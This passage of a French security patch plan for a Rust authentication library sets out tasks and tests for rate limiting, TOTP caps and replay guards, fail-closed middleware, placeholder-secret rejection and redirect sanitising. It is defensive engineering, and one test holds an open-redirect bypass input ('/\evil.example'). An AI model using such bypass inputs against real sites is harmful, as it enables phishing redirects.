187 +- Middleware force-2FA : si `is_totp_enabled` retourne `Err`, **pas** de 200 sur route protégée (injecter un db mock ou test d’intégration avec DB down n’est pas réaliste — tester via une fonction interne `totp_force_gate(result) -> Result`).
188 +- Headers : `content-security-policy` présent ; après RFC 0039, override consommé.
189 +
190 +### Observability
191 +
192 +- Log `warn` si `JWT_SECRET` rejeté (déjà un `Err` de boot — garder le message actuel).
193 +- Métrique/log TOTP : `tracing::warn` quand plafond global atteint (clé `user_id`, jamais le code).
194 +- `AUTH_LIMITER` 2FA : réutiliser le compteur existant `auth:{ip}` (pas de nouveau dashboard).
195 +
196 +---
197 +
198 +## Phase 0 — Patch Security `1.0.1`
199 +
200 +Ordre d’implémentation : TDD par tâche. Ne pas mélanger RFC et patch dans le même commit logique.
201 +
202 +**Contrainte (non négociable) :** aucun item `pub` **ajouté, modifié ou supprimé**. Helpers `pub(crate)`. `check_auth_rate_limit(headers)` signature inchangée. **Aucune** signature de handler `pub async fn` modifiée.
203 +
204 +Quality gates après **chaque** tâche : `cargo test -p rustwarden-core --lib`, puis en fin de phase `cargo clippy --workspace -- -D warnings` et `cargo audit`.
205 +
206 +**Cause racine IP :** `extract_client_ip_from_headers` (`rate_limit.rs:151-154`) passe `connect_ip: None` ; `TRUSTED_PROXY_HOPS` défaut 0 ignore XFF → clé `auth:unknown`. `run()` (`app.rs:117`) n’attache pas `ConnectInfo`. Les appels handler à `check_auth_rate_limit(&headers)` sont donc un budget **global**.
207 +
208 +---
209 +
210 +### Task 0 : ConnectInfo + layer rate-limit sur `auth_api_routes` (E-2 / E-3 IP)
211 +
212 +**Files:**
213 +- Modify: `crates/rustwarden-core/src/app.rs:117-119` (`run`)
214 +- Modify: `crates/rustwarden-core/src/auth/routes.rs:35-62`
215 +- Modify: `crates/rustwarden-core/src/middleware/rate_limit.rs` — middleware `pub(crate)`
216 +- Test: `crates/rustwarden-core/tests/` (patron `csrf_protection.rs` + `MockConnectInfo`)
217 +- Doc: rustdoc de `into_router()` — le consommateur qui sert le routeur lui-même **doit** appeler `into_make_service_with_connect_info`, sinon le layer retombe sur `unknown` (documenté, pas un DoS nouveau : c’est l’état actuel)
218 +
219 +**Ne pas** ajouter `ConnectInfo` aux handlers. **Ne pas** utiliser `Option<ConnectInfo>` (pas d’`OptionalFromRequestParts` en axum 0.8.8).
220 +
221 +Couverture du layer (POST sensibles seulement) : `/login`, `/register`, `/refresh`, `/forgot-password`, `/2fa/verify`, `/resend-verification`, `/resend-verification/by-username`. **Hors layer :** `/logout`, `/me`, `/verify-email/{token}`, `/reset-password` (déjà limité par token + Task 6).
222 +
223 +Le layer uniformise le **429** + `Retry-After`. Aujourd’hui `login` propage le 429, mais `refresh` / `forgot_password` / `register` convertissent en `AppError::Validation` (400). Retirer ces appels handler `check_auth_rate_limit` une fois le layer en place. Les paramètres `headers: HeaderMap` qui ne servaient qu’à ça : les **préfixer `_headers`** (sinon `unused_variables` casse `-D warnings`). Ce n’est pas un changement de type de signature.
224 +
225 +**Décision 2FA :** **IP seule** via ce layer. Pas de seconde clé `totp:{user_id}` en 1.0.1 (le plafond E-3 user-level est déjà dans `create_challenge`).
226 +
227 +- [ ] **Step 1: Tests de caractérisation** (code `extract_ip_from_xff_or_connect` **déjà** présent l.124-135 — ces tests **passent** aujourd’hui ; ce n’est pas un cycle TDD rouge). Paramétrer les hops **en argument**, ne pas lire le `OnceLock` :
228 +
229 +```rust
230 +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String {
231 + if hops > 0 {
232 + if let Some(xff_value) = xff {
233 + let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect();
234 + if ips.len() >= hops {
235 + return ips[ips.len() - hops].to_string();
236 + }
237 + }
238 + }
239 + connect.unwrap_or_else(|| "unknown".to_string())
240 +}
241 +
242 +#[test]
243 +fn hops_zero_uses_connect_not_xff() {
244 + assert_eq!(
245 + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0),
246 + "10.0.0.9"
247 + );
248 +}
249 +```
250 +
251 +Refactorer `extract_ip_from_xff_or_connect` pour déléguer à `extract_ip(..., trusted_proxy_hops())` — comportement identique, tests hermétiques.
252 +
253 +- [ ] **Step 2: `run()`**
254 +
255 +```rust
256 +axum::serve(
257 + listener,
258 + self.router.into_make_service_with_connect_info::<std::net::SocketAddr>(),
259 +)
260 +```
261 +
262 +Signature de `run()` inchangée.
263 +
264 +- [ ] **Step 3: Middleware `pub(crate)` + montage dans `auth_api_routes`**
265 +
266 +```rust
267 +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Result<Response, Response> {
268 + let ip = extract_client_ip(&request); // lit ConnectInfo si présent
269 + auth_limiter()
270 + .check(&format!("auth:{ip}"), auth_max_per_minute())
271 + .map_err(|err| err.into_response())?;
272 + Ok(next.run(request).await)
273 +}
274 +```
275 +
276 +Dans `auth_api_routes()` : router « limited » avec `.layer(from_fn(auth_ip_rate_limit))` + merge du router « unlimited » (logout/me/verify-email/reset-password). `from_fn` n’est pas un nouvel item `pub`.
277 +
278 +- [ ] **Step 4: Test d’intégration OBLIGATOIRE** (harness : `crates/rustwarden-core/tests/csrf_protection.rs`)
279 +
280 +```rust
281 +use axum::extract::connect_info::MockConnectInfo;
282 +use tower::ServiceExt;
283 +
284 +#[tokio::test]
285 +async fn auth_limiter_separates_two_connect_ips() {
286 + let app = auth_api_routes()
287 + .layer(MockConnectInfo(SocketAddr::from(([1, 2, 3, 4], 0))))
288 + .with_state(test_db());
289 + // N = RATE_LIMIT_AUTH_PER_MINUTE default 10
290 + // 11 POST /api/v1/auth/login depuis 1.2.3.4 → dernier 429
291 + // même batterie depuis MockConnectInfo 5.6.7.8 → 200 ou 401 métier, PAS 429
292 +}
293 +```
294 +
295 +Deux IP = deux budgets. C’est le **seul** critère qui prouve la disparition de `auth:unknown` sur le chemin nominal. `into_router()` : documenter dans rustdoc ; pas de test E2E (contrat avancé).
296 +
297 +---
298 +
299 +### Task 1 : Rejet des placeholders JWT (C-7)
300 +
301 +**Files:**
302 +- Modify: `crates/rustwarden-core/src/config/auth.rs:84-97`
303 +- Test: même fichier, `#[cfg(test)]` (créer le module s’il n’existe que pour `AuthFailureMode`)
304 +- Modify: `tools/rustwarden-cli/src/templates.rs:610-611`
305 +
306 +- [ ] **Step 1: Write the failing tests**
307 +
308 +Extraire un helper `pub(crate)` testable **sans** `set_var` (les tests `from_env` en parallèle sont flaky) :
309 +
310 +```rust
311 +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool {
312 + const KNOWN_EXAMPLES: &[&str] = &[
313 + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
314 + "change-me-in-production",
315 + "super-secret-jwt-key",
316 + "my-secret-key",
317 + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE",
318 + ];
319 + KNOWN_EXAMPLES.iter().any(|ex| secret == *ex)
320 +}
321 +
322 +#[test]
323 +fn rejects_cli_placeholder() {
324 + assert!(jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE"));
325 +}
326 +
327 +#[test]
328 +fn accepts_passphrase_containing_change_me() {
329 + assert!(!jwt_secret_is_placeholder(
330 + "my-change-me-not-secret-passphrase-2026xxxx"
331 + ));
332 +}
333 +
334 +#[test]
335 +fn accepts_random_hex_64() {
336 + assert!(!jwt_secret_is_placeholder(
337 + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
338 + ));
339 +}
340 +```
341 +
342 +**Pas de `contains` en 1.0.1** (changement de défaut §2 + faux positifs). Égalité exacte seulement.
343 +
344 +`AuthConfig::from_env` appelle `jwt_secret_is_placeholder` puis le check de longueur.
345 +
346 +- [ ] **Step 2: Run test to verify it fails**
347 +
348 +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests -- --nocapture`
349 +
350 +Expected: FAIL — `rejects_cli_placeholder` (le placeholder fait 36 chars, `==` sur 4 littéraux ne matche pas).
351 +
352 +- [ ] **Step 3: Write minimal implementation**
353 +
354 +Remplacer le bloc `KNOWN_EXAMPLES` par les 5 littéraux (4 historiques + CLI). `from_env` :
355 +
356 +```rust
357 +if jwt_secret_is_placeholder(&jwt_secret) {
358 + return Err(
359 + "JWT_SECRET is set to a known example value. Please generate a unique secret \
360 + (e.g., `openssl rand -hex 32`)."
361 + .to_string(),
362 + );
363 +}
364 +```
365 +
366 +Dans `tools/rustwarden-cli/src/templates.rs` :
367 +- JWT (l.611) : commenter / vider, pointer `openssl rand -hex 32`
368 +- `ADMIN_PASSWORD` (l.634) : **même traitement** — le placeholder `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` échoue `PasswordRules` (pas de minuscule) et, après Task 8, empêche le premier boot. Le wizard écrit déjà un mot fort dans `.env` (`start_project.rs`). Le `.env.example` doit soit omettre `ADMIN_PASSWORD`, soit documenter « généré au bootstrap si vide ».
369 +
370 +Ajouter `AdminConfig` : si `ADMIN_PASSWORD` est exactement `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ou `password`, `validate()` échoue (égalité exacte, comme JWT).
371 +
372 +- [ ] **Step 4: Run tests**
373 +
374 +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests`
375 +
376 +Expected: PASS. Conserver les 4 littéraux historiques.
377 +
378 +- [ ] **Step 5: Commit** (seulement si l’utilisateur le demande)
379 +
380 +---
381 +
382 +### Task 2 : Plafond global TOTP (E-3)
383 +
384 +**Files:**
385 +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:18` (constante) et `:285-300`
386 +- Test: `totp_service.rs` module `tests` (étendre) **et** test d’intégration DB si un harness existe (`crates/rustwarden-core/tests/`)
387 +
388 +Constante nouvelle :
389 +
390 +```rust
391 +/// Cap of *summed* challenge attempts per user over 15 minutes.
392 +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15;
393 +```
394 +
395 +Comportement actuel (`totp_service.rs:289-300`) :
396 +
397 +```rust
398 +.filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS))
399 +// puis recent_failed.len() >= 3
400 +```
401 +
402 +Un attaquant s’arrête à 4 essais, redemande un challenge, à l’infini.
403 +
404 +- [ ] **Step 1: Failing test (logique pure extractable)**
405 +
406 +Si le harness DB d’intégration n’est pas trivial à câbler dans cette tâche, extraire :
407 +
408 +```rust
409 +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool {
410 + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW
411 +}
412 +
413 +#[test]
414 +fn four_challenges_of_four_attempts_are_blocked() {
415 + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16
416 +}
417 +
418 +#[test]
419 +fn fourteen_attempts_still_allowed() {
420 + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14
421 +}
422 +```
423 +
424 +Puis dans `create_challenge`, remplacer le filtre `attempts >= 5` par un chargement des challenges 15 min et `totp_window_exceeded(rows.iter().map(|r| r.attempts))`.
425 +
426 +Garder **aussi** `MAX_CHALLENGE_ATTEMPTS = 5` par challenge (défense en profondeur).
427 +
428 +- [ ] **Step 2: Run — expected FAIL** (helper pas encore branché / test d’intégration rouge si on teste `create_challenge` réel)
429 +
430 +- [ ] **Step 3: Implementation**
431 +
432 +```rust
433 +pub async fn create_challenge(
434 + db: &DatabaseConnection,
435 + user_id: Uuid,
436 +) -> Result<String, AppError> {
437 + let recent_cutoff = Utc::now() - Duration::minutes(15);
438 + let recent = totp_challenge::Entity::find()
439 + .filter(totp_challenge::Column::UserId.eq(user_id))
440 + .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff))
441 + .all(db)
442 + .await?;
443 +
444 + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) {
445 + tracing::warn!(%user_id, "TOTP global attempt cap reached");
446 + return Err(AppError::TotpMaxAttemptsExceeded);
447 + }
448 + // ... insert inchangé
449 +}
450 +```
451 +
452 +Pas de SQL brut : SeaORM `find` + somme Rust (principe constitution).
453 +
454 +**Anti-rejeu in-process (ferme D en 1.0.1, pas de RFC) :** `verify_totp_code` est privée (`totp_service.rs:395`). Introduire `pub(crate) fn matching_totp_step(secret, code) -> Option<u64>` (step courant ± skew 1). Cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>` TTL 90 s. Si `(user_id, step)` déjà vu → `false` (même sémantique qu’un code invalide, pas d’oracle). Purge opportuniste des Instant expirés à chaque insert.
455 +
456 +```rust
457 +#[test]
458 +fn same_step_replay_is_rejected() {
459 + let uid = Uuid::nil();
460 + assert!(totp_replay_guard_accept(uid, 42));
461 + assert!(!totp_replay_guard_accept(uid, 42));
462 + assert!(totp_replay_guard_accept(uid, 43));
463 +}
464 +```
465 +
466 +RFC 0037 persistera `last_used_step`. **Non-goal :** un relais Evilginx live (code présenté une seule fois) n’est arrêté ni ici ni par 0037.
467 +
468 +- [ ] **Step 4: `cargo test -p rustwarden-core --lib totp`** — PASS
469 +
470 +---
471 +
472 +### Task 3 : 2FA sous le même layer
473 +
474 +**Absorbe par Task 0.** `verify_2fa` est déjà monté (`auth/routes.rs:62`). Aucune modification de `handlers.rs`.
475 +
476 +- [ ] **Step 1:** Le test MockConnectInfo Task 0 Step 4 inclut `POST /api/v1/auth/2fa/verify` : 11e appel même IP → 429.
477 +
478 +---
479 +
480 +### Task 4 : Fail-closed force-2FA **et** lookup user / blacklist
481 +
482 +**Files:**
483 +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs` l.232-235, l.284, l.327-333
484 +
485 +`AuthService::call` : `Error = S::Error`. **Interdit** `.await?` sur `AppError`. Patron l.208-215 : `Ok((StatusCode::…, …).into_response())`.
486 +
487 +Trois fail-open à fermer ensemble (Principe 3) :
488 +
489 +1. `is_totp_enabled(...).unwrap_or(false)` (l.328-333) — déjà identifié.
490 +2. `if let Ok(Some(user_model)) = find_by_id(...).await` (l.284) : `Err` **et** `Ok(None)` sautent tout le bloc (2FA, `must_change_password`) puis la requête continue authentifiée. Un user supprimé + JWT encore valide traverse.
491 +3. `JwtBlacklistService::is_blacklisted(...).is_ok_and(|b| b)` (l.232-235) fail-open sur erreur DB, alors que la branche optionnelle (l.384) utilise `.unwrap_or(true)` (fail-closed).
492 +
493 +```rust
494 +match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await {
495 + Ok(true) | Err(_) => {
496 + return Ok(auth_failure_response(&auth_config, &uri));
497 + }
498 + Ok(false) => {}
499 +}
500 +
501 +match user::Entity::find_by_id(user_id).one(&db).await {
502 + Err(e) => {
503 + tracing::error!(%user_id, error = %e, "user lookup failed (fail-closed)");
504 + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error").into_response());
505 + }
506 + Ok(None) => return Ok(auth_failure_response(&auth_config, &uri)),
507 + Ok(Some(user_model)) => { /* must_change + totp_force, match is_totp_enabled */ }
508 +}
509 +```
510 +
511 +TOTP lookup Err → 503 :
512 +
513 +```rust
514 +if totp_force_enabled {
515 + match TotpService::is_totp_enabled(&db, user_id).await {
516 + Ok(true) => { /* continue */ }
517 + Ok(false) => {
518 + return Ok(Redirect::to("/settings/security?force_2fa=true").into_response());
519 + }
520 + Err(e) => {
521 + tracing::error!(%user_id, error = %e, "TOTP status lookup failed (fail-closed)");
522 + return Ok((
523 + StatusCode::SERVICE_UNAVAILABLE,
524 + "Internal server error",
525 + )
526 + .into_response());
527 + }
528 + }
529 +}
530 +```
531 +
532 +Setting `totp_force_enabled` `unwrap_or(false)` (l.325) inchangé (défaut « 2FA non forcé » si settings illisibles).
533 +
534 +Test : `map_user_lookup` (3 branches lookup) + `totp_force_gate(result) -> TotpGate { Allow, RedirectSetup, Unavailable }` (3 branches 2FA). Pas de test HTTP qui traverse tout le `Service::call` en 1.0.1 (harness middleware lourd) ; le grep de vérif finale + ces helpers unitaires **sont** le critère 8.
535 +
536 +---
537 +
538 +### Task 5 : Backup codes en `spawn_blocking` (M-8)
539 +
540 +**Files:**
541 +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:190-197`
542 +- Pattern : `crates/rustwarden-core/src/services/password_service.rs:69-79`
543 +
544 +- [ ] **Step 1: Failing test** — test async qui appelle `verify_backup_code` (nécessite DB + CryptoService). Si trop lourd, tester un helper :
545 +
546 +```rust
547 +async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> {
548 + tokio::task::spawn_blocking(move || bcrypt::verify(&code, &hashed).unwrap_or(false))
549 + .await
550 + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))
551 +}
552 +```
553 +
554 +- [ ] **Step 2: Implementation** — extraire la boucle bcrypt hors du runtime :
555 +
556 +```rust
557 +let hashed_codes_clone = hashed_codes.clone();
558 +let code_owned = code.to_string();
559 +let found_index = tokio::task::spawn_blocking(move || {
560 + let mut found = None;
561 + for (i, hashed) in hashed_codes_clone.iter().enumerate() {
562 + let matches = bcrypt::verify(&code_owned, hashed).unwrap_or(false);
563 + if matches && found.is_none() {
564 + found = Some(i);
565 + }
566 + }
567 + found
568 +})
569 +.await
570 +.map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))?;
571 +```
572 +
573 +Pas de `break` retiré : l’index qui matche n’est pas un secret (l’attaquant connaît son code). Garder le court-circuit `found_index = Some(i); break;` **à l’intérieur** du `spawn_blocking`. Objectif M-8 = ne pas bloquer le runtime, pas un bcrypt constant-time.
574 +
575 +Ne **pas** changer `bcrypt::hash` de génération (l.431) dans ce patch si c’est au setup (rare) — bonus acceptable : hasher aussi via `spawn_blocking`.
576 +
577 +---
578 +
579 +### Task 6 : Rate limiter email partagé (M-3)
580 +
581 +**Files:**
582 +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:36-41`
583 +- Modify: `crates/rustwarden-core/src/services/email_validation_service.rs:35-40`
584 +
585 +`RateLimitService` est déjà `Clone` (Arc interne, `rate_limit_service.rs:61-65`). Le bug est `RateLimitService::new()` **par requête**.
586 +
587 +- [ ] **Step 1: Failing test**
588 +
589 +```rust
590 +#[test]
591 +fn cloned_limiters_share_buckets() {
592 + let a = RateLimitService::new();
593 + let b = a.clone();
594 + for _ in 0..3 {
595 + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
596 + .unwrap();
597 + }
598 + assert!(b
599 + .check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
600 + .is_err());
601 +}
602 +```
603 +
604 +Ce test passe déjà (Clone = Arc). Le test métier manquant :
605 +
606 +```rust
607 +#[test]
608 +fn independent_new_does_not_share() {
609 + let a = RateLimitService::new();
610 + let b = RateLimitService::new();
611 + for _ in 0..3 {
612 + a.check_sliding_window("k", 3, Duration::from_secs(3600)).unwrap();
613 + }
614 + assert!(b.check_sliding_window("k", 3, Duration::from_secs(3600)).is_ok());
615 +}
616 +```
617 +
618 +Documente *pourquoi* `new()` par requête est inerte.
619 +
620 +- [ ] **Step 2: Implementation**
621 +
622 +Dans `password_reset_service.rs` :
623 +
624 +```rust
625 +use std::sync::OnceLock;
626 +
627 +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
628 +
629 +impl PasswordResetService {
630 + pub fn new(email_config: EmailConfig) -> Self {
631 + Self {
632 + email_config,
633 + rate_limiter: PASSWORD_RESET_LIMITER
634 + .get_or_init(RateLimitService::new)
635 + .clone(),
636 + }
637 + }
638 +}
639 +```
640 +
641 +Même schéma `EMAIL_VALIDATION_LIMITER` dans `email_validation_service.rs`. **Deux** OnceLock distincts (budgets séparés, clés déjà préfixées `pwd_reset:` / `email_verify:` — séparés par prudence).
642 +
643 +Signature `new(email_config)` **inchangée** → pas de RFC.
644 +
645 +**Mitigation DoS (une seule, obligatoire) :** quand `sliding.len() >= MAX_ENTRIES` et que la clé est inconnue, **évincer la clé dont le timestamp le plus récent est le plus ancien** (LRU approximatif), puis insérer. Ne **plus** `return Err(TooManyRequests)` pour une clé neuve (c’est ça qui DoS le reset légitime). `cleanup_loop` reste de l’hygiène mémoire, pas la borne.
646 +
647 +```rust
648 +if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) {
649 + if let Some(oldest) = sliding
650 + .iter()
651 + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now))
652 + .map(|(k, _)| k.clone())
653 + {
654 + sliding.remove(&oldest);
655 + }
656 +}
657 +```
658 +
659 +Spawn `cleanup_loop` **sans panic** :
660 +
661 +```rust
662 +if let Ok(handle) = tokio::runtime::Handle::try_current() {
663 + handle.spawn(limiter.clone().cleanup_loop(Duration::from_secs(300), Duration::from_secs(3600)));
664 +} else {
665 + tracing::warn!("password-reset limiter: no tokio runtime, cleanup_loop not started");
666 +}
667 +```
668 +
669 +Tests : `#[cfg(test)] pub(crate) fn new_with_limiter`. Critère : 200 000 clés distinctes injectées (ou `MAX_ENTRIES+1` dans le test avec un cap testable — si `MAX_ENTRIES` est une const 100_000, tester via un `check_sliding_window` en boucle jusqu’à `MAX_ENTRIES+10` puis une clé `legit@x.test` **acceptée**). Pour ne pas durer 10 s en CI, extraire `evict_if_full` et tester avec une map de 8 entrées / cap 8.
670 +
671 +Ordre vs Task 7 : Task 6 d’abord (constructeur), Task 7 ensuite (`reset_password`) — même fichier, pas de conflit de hunks si on sépare ctor et méthode.
672 +
673 +---
674 +
675 +### Task 7 : Complexité mot de passe dans `reset_password` (M-2)
676 +
677 +**Files:**
678 +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:224-234`
679 +- Use: `crate::middleware::password_complexity::validate_password_complexity`
680 +
681 +Le handler API (`auth/handlers.rs:1202-1207`) valide déjà. Le service, non. Tout appel direct (admin, consommateur) contourne.
682 +
683 +**Ordre (atomicité) :** `validate_password_complexity` **immédiatement après** `validate_token` (l.231), **avant** `hash_password` (l.234) et **avant** `used_at` (l.248-257). Un mot rejeté ne doit pas consommer le token.
684 +
685 +- [ ] **Step 1: Test** — `reset_password` avec password `"a"` → `AppError::Validation`. Token encore réutilisable (`used_at` IS NULL).
686 +
687 +- [ ] **Step 2:**
688 +
689 +```rust
690 +let user_id = self.validate_token(db, token).await?;
691 +crate::middleware::password_complexity::validate_password_complexity(db, new_password).await?;
692 +let password_hash = PasswordService::hash_password(new_password).await?;
693 +```
694 +
695 +Hors 1.0.1 (trou Architect, F-AUTH) : le reset ne révoque ni PAT ni JWT d’accès (seulement refresh l.259-270). Non-goal du CHANGELOG.
696 +
697 +---
698 +
699 +### Task 8 : Bootstrap admin (F-AUTH)
700 +
701 +**Files:**
702 +- Modify: `crates/rustwarden-core/src/services/default_admin_service.rs:32-42`
703 +- Use: `AdminConfig::validate` (`config/admin.rs:36-60`) + `PasswordRules::default().validate`
704 +
705 +Aujourd’hui `ensure_default_admin` ignore `validate()`. `ADMIN_PASSWORD=password` (8 chars, minuscules) **passe** `validate()` (seulement `len >= 8`) mais **échoue** `PasswordRules::default()` (`require_uppercase` + `require_digits`).
706 +
707 +**Bloquant Architect :** ne **pas** valider aux lignes 32-42 (avant les early-return « un admin existe déjà », l.46-53). Un `.env` de prod avec `ADMIN_PASSWORD` faible *résiduel* casserait le boot alors que l’admin est déjà créé — breaking de défaut, interdit en patch. Valider **uniquement** sur le chemin de création, après l.65.
708 +
709 +- [ ] **Step 1: Tests unitaires sur `AdminConfig::validate` + `PasswordRules`** (déjà testables sans DB)
710 +
711 +```rust
712 +#[test]
713 +fn default_rules_reject_password_literal() {
714 + let rules = PasswordRules::default();
715 + assert!(rules.validate("password").is_err());
716 +}
717 +
718 +#[test]
719 +fn default_rules_accept_mixed() {
720 + let rules = PasswordRules::default();
721 + assert!(rules.validate("CorrectHorse1").is_ok());
722 +}
723 +```
724 +
725 +- [ ] **Step 2:** Dans `ensure_default_admin`, **après** `if !admins.is_empty() { return Ok(()) }` et après le skip username existant, **avant** `hash_password` :
726 +
727 +```rust
728 +config
729 + .validate()
730 + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?;
731 +crate::middleware::password_complexity::PasswordRules::default()
732 + .validate(password)
733 + .map_err(|errs| AppError::Validation(errs.join("; ")))?;
734 +```
735 +
736 +Échec = `Err` propagé **seulement** si on allait vraiment créer l’admin. `CREATE_DEFAULT_ADMIN=false` et « admin déjà présent » restent no-op.
737 +
738 +---
739 +
740 +### Task 9 : Normaliser `\` dans `sanitize_redirect` (défense en profondeur)
741 +
742 +**Files:**
743 +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs:29-36`
744 +- Test: `auth_service.rs` tests existants l.454-476
745 +
746 +**Pas un open redirect vivant** dans rustwarden-ui : `login.html` `getSafeRedirect()` exige same-origin. Priorité basse. On durcit le serveur pour les consommateurs qui lisent `?redirect=` naïvement.
747 +
748 +- [ ] **Step 1: Failing test**
749 +
750 +```rust
751 +#[test]
752 +fn sanitize_redirect_rejects_backslash_trick() {
753 + let out = sanitize_redirect("/\\evil.example", "/login");
754 + assert_eq!(out, "/login");
755 +}
756 +```
757 +
758 +- [ ] **Step 2:**
759 +
760 +```rust
761 +pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String {
762 + let path = uri.replace('\\', "/");
763 + if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') {
764 + format!("{login_path}?redirect={}", urlencoding::encode(&path))
765 + } else {
766 + login_path.to_string()
767 + }
768 +}
769 +```
770 +
771 +Après remplacement, `/\evil.example` devient `//evil.example` → rejeté par `!starts_with("//")`.
772 +
773 +---
774 +
775 +### Task 10 : Bumps deps (E-12 collatéral)
776 +
777 +**Files:**
778 +- `Cargo.lock` via `cargo update` (pas de pin `"0.19.2"` dans Cargo.toml sauf échec)
779 +
780 +Cibles audit 2026-09-17. **Stratégie lockfile :** garder `bcrypt = "0.19"` dans `Cargo.toml` (semver compatible) et `cargo update -p bcrypt -p rustls -p h2` pour forcer le lock. Ne pas pinner `"0.19.2"` dans Cargo.toml sauf si `cargo update` ne suffit pas — ça constraindra moins les consommateurs.
781 +
782 +| Crate | Actuel (lock) | Cible |
783 +|-------|---------------|-------|
784 +| bcrypt | 0.19.0 | ≥ 0.19.2 |
785 +| rustls | 0.23.37 (transitif) | ≥ 0.23.45 |
786 +| h2 | 0.4.13 (transitif) | ≥ 0.4.16 |
787 +
788 +- [ ] **Step 1:** `cargo update -p bcrypt -p rustls -p h2` (ajuster les noms de paquets lockfile).
789 +- [ ] **Step 2:** `cargo audit` — les avis RUSTSEC-2026-0199 / -0285 / -0258 doivent disparaître. `russh` n’est **pas** une dep Rustwarden (Gitrust).
790 +- [ ] **Step 3:** `cargo test --workspace` + `cargo clippy --workspace -- -D warnings`.
791 +
792 +---
793 +
794 +### Task 11 : Postgres dev bind (E-18 analogue)
795 +
796 +**Files:**
797 +- Modify: `database/docker-compose.yml:8-16`
798 +- Modify: `database/env.sample` (contient `POSTGRES_PASSWORD=change_me_in_production` — le garder comme **exemple local**, pas comme fallback compose)
799 +
800 +```yaml
801 + environment:
802 + - POSTGRES_DB=${POSTGRES_DB:-database}
803 + - POSTGRES_USER=${POSTGRES_USER:-user}
804 + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env}
805 + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom).
806 + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 :
807 + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32}
808 + ports:
809 + - "127.0.0.1:5432:5432"
810 +```
811 +
812 +Ne plus fournir `pass3ord` en fallback. `database/.env` local (non versionné) reste la source. Documenter dans rustdoc / README la contrainte `:?`.
813 +
814 +Ceci casse `docker compose up` **sans** `.env` — c’est le but. Vérifier `README.md` § database.
815 +
816 +---
817 +
818 +### Task 12 : CHANGELOG + notice 14 jours
819 +
820 +- [ ] Entrée `## [1.0.1] - 2026-09-XX — Security`
821 +- [ ] Lister E-3, C-7, M-2, M-3, M-8, force-2FA, 2FA rate-limit, admin bootstrap, sanitize `\`, bumps, PG bind
822 +- [ ] Rappeler la fenêtre d’adoption 14 jours ([RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §9)
823 +
824 +---
825 +
826 +## Phase 1 — Rédiger les RFCs (avant tout code)
827 +
828 +Numéros libres après 0035. Suivre [docs/rfcs/0000-template.md](../rfcs/0000-template.md) : 3 alternatives min, grille 7 critères, testing plan, migration.
829 +
830 +Mettre à jour [docs/rfcs/README.md](../rfcs/README.md) index.
831 +
832 +Chaque RFC : statut `Draft` → PR `Under Review` → score ≥ 25/35 → `Accepted` → **alors seulement** Phase 2.
833 +
834 +### Task 13 : RFC 0036 — Validation charset `username`
835 +
836 +**Create:** `docs/rfcs/0036-username-charset-validation.md`
837 +
838 +**Summary :** Introduire `Username` (newtype, patron `TeamSlug`) et l’appliquer dans `UserService::create_user`, `update_profile`, `RegisterRequest`.
839 +
840 +**Règles proposées (alignées GitHub / audit M-1) :**
841 +
842 +- `^[a-z0-9-]{3,39}$`
843 +- pas de `--`, pas de `-` en tête/queue
844 +- lowercase imposé à `parse` (trim + `to_ascii_lowercase`) **ou** rejet si majuscule — **décision RFC : rejet (pas de fold silencieux)** pour éviter les collisions `Alice`/`alice`
845 +- réservés : réutiliser / étendre `TeamSlug::RESERVED` + `me`, `explore`, `robots.txt` n’est pas un username
846 +
847 +**Grandfathering :** pas de CHECK SQL sur `users.username`. Les comptes existants hors charset restent loggables. Seuls create + rename sont fermés.
848 +
849 +**API :**
850 +
851 +```rust
852 +// crates/rustwarden-core/src/types/username.rs
853 +pub struct Username(String);
854 +impl Username {
855 + pub fn parse(raw: &str) -> Result<Self, AppError> { /* ... */ }
856 + pub fn as_str(&self) -> &str { &self.0 }
857 +}
